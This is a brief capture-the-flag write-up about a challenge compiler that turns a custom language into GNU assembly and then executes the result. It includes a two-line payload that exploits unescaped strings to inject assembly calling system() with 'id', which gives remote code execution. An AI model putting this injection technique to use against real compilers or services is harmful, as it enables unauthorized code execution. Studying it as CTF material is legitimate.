The challenge features a custom language compiler/preprocessor that generates GNU ASM source, compiles it and executes the resulting binary.
First bug that we exploited was an RCE leveraging non-escaped strings in generated assembly code.
SLOC source code that triggers the vulnerability:
CALL WRITECHAR "id\x00\"
CALL WRITECHAR ";string1:putchar:call[\r]system@PLT;call[\r]exit@PLT;#"